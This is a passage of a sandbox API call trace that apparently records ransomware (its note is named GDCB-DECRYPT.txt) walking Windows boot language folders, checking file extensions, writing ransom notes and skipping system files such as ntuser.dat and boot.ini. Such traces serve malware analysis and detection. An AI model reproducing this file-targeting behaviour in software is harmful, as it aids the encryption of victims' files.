(lpString1="nl-NL", lpString2=".") returned 1 [0169.521] lstrcmpW (lpString1="nl-NL", lpString2="..") returned 1 [0169.521] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="nl-NL" | out: lpString1="C:\\Boot\\nl-NL") returned="C:\\Boot\\nl-NL" [0169.521] lstrcatW (in: lpString1="C:\\Boot\\nl-NL", lpString2="\\" | out: lpString1="C:\\Boot\\nl-NL\\") returned="C:\\Boot\\nl-NL\\" [0169.521] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.521] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.521] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.521] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.521] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.521] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.522] lstrlenW (lpString="C:\\Boot\\nl-NL\\") returned 14 [0169.522] lstrcatW (in: lpString1="C:\\Boot\\nl-NL\\", lpString2="*" | out: lpString1="C:\\Boot\\nl-NL\\*") returned="C:\\Boot\\nl-NL\\*" [0169.522] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4b58 [0169.522] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.522] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.522] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.522] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.522] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.522] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.522] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.522] lstrcatW (in: lpString1="C:\\Boot\\nl-NL\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned="C:\\Boot\\nl-NL\\bootmgr.exe.mui" [0169.522] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0169.522] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.522] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.522] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.522] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.522] lstrcatW (in: lpString1="C:\\Boot\\nl-NL\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\nl-NL\\GDCB-DECRYPT.txt") returned="C:\\Boot\\nl-NL\\GDCB-DECRYPT.txt" [0169.522] lstrlenW (lpString="C:\\Boot\\nl-NL\\GDCB-DECRYPT.txt") returned 30 [0169.522] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.522] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.522] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.522] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.522] lstrcatW (in: lpString1="C:\\Boot\\nl-NL\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\nl-NL\\memtest.exe.mui") returned="C:\\Boot\\nl-NL\\memtest.exe.mui" [0169.522] lstrlenW (lpString="C:\\Boot\\nl-NL\\memtest.exe.mui") returned 29 [0169.522] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.522] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.522] FindClose (in: hFindFile=0x5a4b58 | out: hFindFile=0x5a4b58) returned 1 [0169.522] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.522] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\nl-NL\\\\GDCB-DECRYPT.txt") returned 31 [0169.522] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\nl-nl\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.523] GetLastError () returned 0x50 [0169.523] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.523] lstrlenW (lpString="C:\\Boot\\nl-NL\\") returned 14 [0169.523] lstrcatW (in: lpString1="C:\\Boot\\nl-NL\\", lpString2="*" | out: lpString1="C:\\Boot\\nl-NL\\*") returned="C:\\Boot\\nl-NL\\*" [0169.523] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4b58 [0169.523] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.523] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.523] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.523] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.523] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.523] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.523] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.523] lstrcatW (in: lpString1="C:\\Boot\\nl-NL\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned="C:\\Boot\\nl-NL\\bootmgr.exe.mui" [0169.523] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.523] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0169.523] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0169.523] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.523] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.523] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.523] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.523] lstrcatW (in: lpString1="C:\\Boot\\nl-NL\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\nl-NL\\GDCB-DECRYPT.txt") returned="C:\\Boot\\nl-NL\\GDCB-DECRYPT.txt" [0169.523] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.523] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\nl-NL\\GDCB-DECRYPT.txt") returned 30 [0169.523] lstrlenW (lpString="C:\\Boot\\nl-NL\\GDCB-DECRYPT.txt") returned 30 [0169.523] lstrlenW (lpString="C:\\Boot\\nl-NL\\GDCB-DECRYPT.txt") returned 30 [0169.524] lstrlenW (lpString="C:\\Boot\\nl-NL\\GDCB-DECRYPT.txt") returned 30 [0169.524] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.524] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.524] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.524] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.524] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.524] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.524] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.524] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.524] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.524] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.524] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.524] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.524] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.524] lstrcatW (in: lpString1="C:\\Boot\\nl-NL\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\nl-NL\\memtest.exe.mui") returned="C:\\Boot\\nl-NL\\memtest.exe.mui" [0169.524] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.524] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\nl-NL\\memtest.exe.mui") returned 29 [0169.524] lstrlenW (lpString="C:\\Boot\\nl-NL\\memtest.exe.mui") returned 29 [0169.524] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.524] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.524] FindClose (in: hFindFile=0x5a4b58 | out: hFindFile=0x5a4b58) returned 1 [0169.524] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.524] lstrcmpW (lpString1="pl-PL", lpString2=".") returned 1 [0169.524] lstrcmpW (lpString1="pl-PL", lpString2="..") returned 1 [0169.524] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="pl-PL" | out: lpString1="C:\\Boot\\pl-PL") returned="C:\\Boot\\pl-PL" [0169.524] lstrcatW (in: lpString1="C:\\Boot\\pl-PL", lpString2="\\" | out: lpString1="C:\\Boot\\pl-PL\\") returned="C:\\Boot\\pl-PL\\" [0169.524] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.525] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.525] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.525] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.525] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.525] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.525] lstrlenW (lpString="C:\\Boot\\pl-PL\\") returned 14 [0169.525] lstrcatW (in: lpString1="C:\\Boot\\pl-PL\\", lpString2="*" | out: lpString1="C:\\Boot\\pl-PL\\*") returned="C:\\Boot\\pl-PL\\*" [0169.525] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a49d8 [0169.525] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.525] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.525] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.525] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.525] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.525] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.525] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.525] lstrcatW (in: lpString1="C:\\Boot\\pl-PL\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned="C:\\Boot\\pl-PL\\bootmgr.exe.mui" [0169.525] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0169.525] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.525] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.525] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.525] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.525] lstrcatW (in: lpString1="C:\\Boot\\pl-PL\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\pl-PL\\GDCB-DECRYPT.txt") returned="C:\\Boot\\pl-PL\\GDCB-DECRYPT.txt" [0169.525] lstrlenW (lpString="C:\\Boot\\pl-PL\\GDCB-DECRYPT.txt") returned 30 [0169.525] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.525] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.525] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.525] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.525] lstrcatW (in: lpString1="C:\\Boot\\pl-PL\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\pl-PL\\memtest.exe.mui") returned="C:\\Boot\\pl-PL\\memtest.exe.mui" [0169.525] lstrlenW (lpString="C:\\Boot\\pl-PL\\memtest.exe.mui") returned 29 [0169.525] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.525] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.525] FindClose (in: hFindFile=0x5a49d8 | out: hFindFile=0x5a49d8) returned 1 [0169.525] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.526] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\pl-PL\\\\GDCB-DECRYPT.txt") returned 31 [0169.526] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\pl-pl\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.526] GetLastError () returned 0x50 [0169.526] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.526] lstrlenW (lpString="C:\\Boot\\pl-PL\\") returned 14 [0169.526] lstrcatW (in: lpString1="C:\\Boot\\pl-PL\\", lpString2="*" | out: lpString1="C:\\Boot\\pl-PL\\*") returned="C:\\Boot\\pl-PL\\*" [0169.526] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4918 [0169.526] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.526] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.526] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.526] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.526] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.526] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.526] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.526] lstrcatW (in: lpString1="C:\\Boot\\pl-PL\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned="C:\\Boot\\pl-PL\\bootmgr.exe.mui" [0169.526] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.526] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0169.526] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0169.526] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.526] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.527] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.527] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.527] lstrcatW (in: lpString1="C:\\Boot\\pl-PL\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\pl-PL\\GDCB-DECRYPT.txt") returned="C:\\Boot\\pl-PL\\GDCB-DECRYPT.txt" [0169.527] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.527] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\pl-PL\\GDCB-DECRYPT.txt") returned 30 [0169.527] lstrlenW (lpString="C:\\Boot\\pl-PL\\GDCB-DECRYPT.txt") returned 30 [0169.527] lstrlenW (lpString="C:\\Boot\\pl-PL\\GDCB-DECRYPT.txt") returned 30 [0169.527] lstrlenW (lpString="C:\\Boot\\pl-PL\\GDCB-DECRYPT.txt") returned 30 [0169.527] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.527] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.527] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.527] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.527] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.527] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.527] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.527] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.527] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.527] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.527] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.527] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.527] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.527] lstrcatW (in: lpString1="C:\\Boot\\pl-PL\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\pl-PL\\memtest.exe.mui") returned="C:\\Boot\\pl-PL\\memtest.exe.mui" [0169.527] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.527] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\pl-PL\\memtest.exe.mui") returned 29 [0169.527] lstrlenW (lpString="C:\\Boot\\pl-PL\\memtest.exe.mui") returned 29 [0169.527] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.527] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.527] FindClose (in: hFindFile=0x5a4918 | out: hFindFile=0x5a4918) returned 1 [0169.528] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.528] lstrcmpW (lpString1="pt-BR", lpString2=".") returned 1 [0169.528] lstrcmpW (lpString1="pt-BR", lpString2="..") returned 1 [0169.528] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="pt-BR" | out: lpString1="C:\\Boot\\pt-BR") returned="C:\\Boot\\pt-BR" [0169.528] lstrcatW (in: lpString1="C:\\Boot\\pt-BR", lpString2="\\" | out: lpString1="C:\\Boot\\pt-BR\\") returned="C:\\Boot\\pt-BR\\" [0169.528] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.528] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.528] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.528] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.528] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.528] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.528] lstrlenW (lpString="C:\\Boot\\pt-BR\\") returned 14 [0169.528] lstrcatW (in: lpString1="C:\\Boot\\pt-BR\\", lpString2="*" | out: lpString1="C:\\Boot\\pt-BR\\*") returned="C:\\Boot\\pt-BR\\*" [0169.528] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4c18 [0169.528] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.528] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.528] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.528] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.528] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.528] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.528] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.528] lstrcatW (in: lpString1="C:\\Boot\\pt-BR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned="C:\\Boot\\pt-BR\\bootmgr.exe.mui" [0169.528] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0169.528] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.528] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.528] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.528] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.528] lstrcatW (in: lpString1="C:\\Boot\\pt-BR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\pt-BR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\pt-BR\\GDCB-DECRYPT.txt" [0169.528] lstrlenW (lpString="C:\\Boot\\pt-BR\\GDCB-DECRYPT.txt") returned 30 [0169.528] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.528] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.528] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.528] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.528] lstrcatW (in: lpString1="C:\\Boot\\pt-BR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\pt-BR\\memtest.exe.mui") returned="C:\\Boot\\pt-BR\\memtest.exe.mui" [0169.529] lstrlenW (lpString="C:\\Boot\\pt-BR\\memtest.exe.mui") returned 29 [0169.529] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.529] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.529] FindClose (in: hFindFile=0x5a4c18 | out: hFindFile=0x5a4c18) returned 1 [0169.529] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.529] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\pt-BR\\\\GDCB-DECRYPT.txt") returned 31 [0169.529] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\pt-br\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.529] GetLastError () returned 0x50 [0169.529] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.529] lstrlenW (lpString="C:\\Boot\\pt-BR\\") returned 14 [0169.529] lstrcatW (in: lpString1="C:\\Boot\\pt-BR\\", lpString2="*" | out: lpString1="C:\\Boot\\pt-BR\\*") returned="C:\\Boot\\pt-BR\\*" [0169.529] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4dd8 [0169.529] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.529] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.529] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.529] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.529] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.529] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.529] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.529] lstrcatW (in: lpString1="C:\\Boot\\pt-BR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned="C:\\Boot\\pt-BR\\bootmgr.exe.mui" [0169.529] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.529] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0169.530] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0169.530] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.530] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.530] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.530] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.530] lstrcatW (in: lpString1="C:\\Boot\\pt-BR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\pt-BR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\pt-BR\\GDCB-DECRYPT.txt" [0169.530] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.530] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\pt-BR\\GDCB-DECRYPT.txt") returned 30 [0169.530] lstrlenW (lpString="C:\\Boot\\pt-BR\\GDCB-DECRYPT.txt") returned 30 [0169.530] lstrlenW (lpString="C:\\Boot\\pt-BR\\GDCB-DECRYPT.txt") returned 30 [0169.530] lstrlenW 